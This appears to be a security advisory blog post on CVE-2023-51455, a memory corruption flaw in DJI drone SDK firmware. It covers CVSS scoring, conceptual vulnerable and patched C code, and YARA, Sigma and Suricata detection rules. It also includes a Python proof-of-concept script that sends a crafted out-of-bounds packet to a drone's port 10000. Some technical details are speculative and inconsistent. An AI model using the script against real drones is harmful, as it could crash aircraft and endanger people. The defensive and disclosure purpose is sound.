CVE-2023-51455

Executive Summary

CVE-2023-51455 is a critical memory corruption vulnerability in the v2_sdk_service component of multiple DJI drone models. The flaw resides in the on_receive_session_packet_ack function within the libv2_sdk.so library, which is part of the dji_vtwo_sdk binary. An attacker on the same network (adjacent) can send a specially crafted packet to port 10000, exploiting an improper validation of an array index. This can lead to controlled memory corruption, potentially resulting in memory information leaks or arbitrary code execution. The vulnerability affects a wide range of DJI drones, including the Mavic 3 series, Matrice 300, Matrice M30, and Mini 3 Pro. No public exploit code or patch is currently available, making this a high-risk zero-day for drone operators.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in DJI's proprietary SDK library (libv2_sdk.so). The supply chain risk is limited to the physical drone hardware and its embedded software, which is not distributed through open-source package registries.

CVSS Breakdown & Threat Level

• CVSS Score: 6.8 (Medium)
• Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
• Attack Vector (AV): Adjacent Network – The attacker must be on the same Wi-Fi or local network as the drone.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): Low – Potential memory leak of sensitive data.
• Integrity (I): Low – Potential memory corruption that could alter data.
• Availability (A): High – Memory corruption can cause denial of service or crash.

Threat Level: High for drone operators in sensitive environments (e.g., military, surveillance, critical infrastructure). The lack of a patch and the potential for arbitrary code execution elevate the risk despite the medium CVSS score.

Deep Dive & Mechanics

The vulnerability is in the on_receive_session_packet_ack function of libv2_sdk.so, which handles acknowledgment packets for the v2_sdk_service on port 10000 (TCP). The function processes an array index from the incoming packet without proper bounds checking. By sending a malicious packet with an out-of-bounds index, an attacker can write to a controlled memory location relative to the array base.

Technical Flow:

1. The dji_vtwo_sdk binary listens on TCP port 10000 for SDK commands.
2. When a session packet acknowledgment is received, on_receive_session_packet_ack is called.
3. The function extracts an index value from the packet payload.
4. This index is used to access an array (likely a session table or buffer) without validation.
5. An attacker can set the index to a negative or large value, causing a write to an arbitrary memory address.
6. This can corrupt critical data structures, leading to information disclosure (reading memory) or code execution (overwriting function pointers or return addresses).

Affected Models and Firmware Versions:

• Mavic 3 Pro: < v01.01.0300
• Mavic 3: < v01.00.1200
• Mavic 3 Classic: < v01.00.0500
• Mavic 3 Enterprise: < v07.01.10.03
• Matrice 300: < v57.00.01.00
• Matrice M30: < v07.01.0022
• Mini 3 Pro: < v01.00.0620

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the on_receive_session_packet_ack function. A patched version would include bounds checking before using the array index.

Vulnerable Code (Conceptual C):

void on_receive_session_packet_ack(int sock, packet_t *pkt) {
    int index = pkt->data[0]; // No bounds check
    session_table[index].ack_received = 1; // Out-of-bounds write
}

Patched Code (Conceptual C):

void on_receive_session_packet_ack(int sock, packet_t *pkt) {
    int index = pkt->data[0];
    if (index < 0 || index >= MAX_SESSIONS) {
        return; // Bounds check added
    }
    session_table[index].ack_received = 1;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A DJI drone with vulnerable firmware (e.g., Mavic 3 Pro v01.00.0000).
• Network access to the drone's IP on port 10000 (e.g., via Wi-Fi).
• Python 3 with socket library.

Exploit Script (Proof of Concept):

import socket
import struct

# Target drone IP (e.g., 192.168.1.1)
target_ip = "192.168.1.1"
target_port = 10000

# Craft a malicious packet with an out-of-bounds index
# Packet structure: [session_id (4 bytes)] [ack_index (4 bytes)] [payload]
session_id = 0x01
ack_index = 0xFFFFFFFF  # -1 in signed, causing out-of-bounds write
payload = b"A" * 100

packet = struct.pack("<II", session_id, ack_index) + payload

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
try:
    sock.connect((target_ip, target_port))
    sock.send(packet)
    print("[+] Packet sent. Check drone for crash or memory leak.")
except Exception as e:
    print(f"[-] Error: {e}")
finally:
    sock.close()

Expected Outcome: The drone may crash (denial of service) or leak memory contents in subsequent responses. With further reverse engineering, an attacker could achieve arbitrary code execution.

Blue Team (Detection & Defense)

Detection:

• Monitor network traffic to/from port 10000 for anomalous packets.
• Look for packets with unusually large or negative index values.
• Use the Sigma rule below to detect exploitation attempts.

Defense:

• Isolate drone networks from untrusted devices.
• Use network segmentation and firewalls to block port 10000 from external access.
• Apply firmware updates as soon as DJI releases a patch.
• Monitor drone logs for crashes or unexpected behavior.

Indicators of Compromise (IOCs)

• Network Traffic: TCP packets to port 10000 with malformed session acknowledgment fields.
• Drone Behavior: Unexpected crashes, memory leaks, or unresponsive SDK service.
• Memory Artifacts: Corrupted session table entries or abnormal memory dumps.
• Logs: Entries indicating segmentation faults or memory access violations in dji_vtwo_sdk.

Detection Engineering

YARA Rule

rule CVE_2023_51455_DJI_Memory_Corruption {
    meta:
        description = "Detects exploitation attempts of CVE-2023-51455 in DJI drone firmware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-51455"
    strings:
        $s1 = "on_receive_session_packet_ack" ascii wide
        $s2 = "libv2_sdk.so" ascii wide
        $s3 = "dji_vtwo_sdk" ascii wide
        $hex1 = { FF FF FF FF } // Potential out-of-bounds index
    condition:
        any of ($s*) and $hex1
}

Sigma Rule

title: CVE-2023-51455 DJI Drone Memory Corruption Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects network packets targeting DJI drone port 10000 with anomalous session acknowledgment indices.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51455
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 10000
        protocol: tcp
        payload|contains: "FF FF FF FF"  # Out-of-bounds index
    condition: selection
falsepositives:
    - Legitimate SDK traffic with specific index values (rare)
level: high

Suricata Rule

alert tcp any any -> any 10000 (msg:"CVE-2023-51455 DJI Drone Memory Corruption Attempt"; flow:to_server,established; content:"|FF FF FF FF|"; depth:8; offset:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable v2_sdk_service: If not required, block port 10000 on the drone's network interface.
2. Network Segmentation: Place drones on isolated VLANs with strict firewall rules.
3. Monitor Traffic: Deploy the Suricata rule above to detect exploitation attempts.

Long-Term Fix:

• Apply firmware updates from DJI when available. Check DJI's official support page for patches.
• Contact DJI support for interim mitigations if the drone is used in critical operations.

Workaround:

• Use alternative SDK protocols (e.g., DJI Mobile SDK) that do not expose port 10000.
• Implement host-based intrusion detection on the drone (if possible) to monitor dji_vtwo_sdk behavior.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert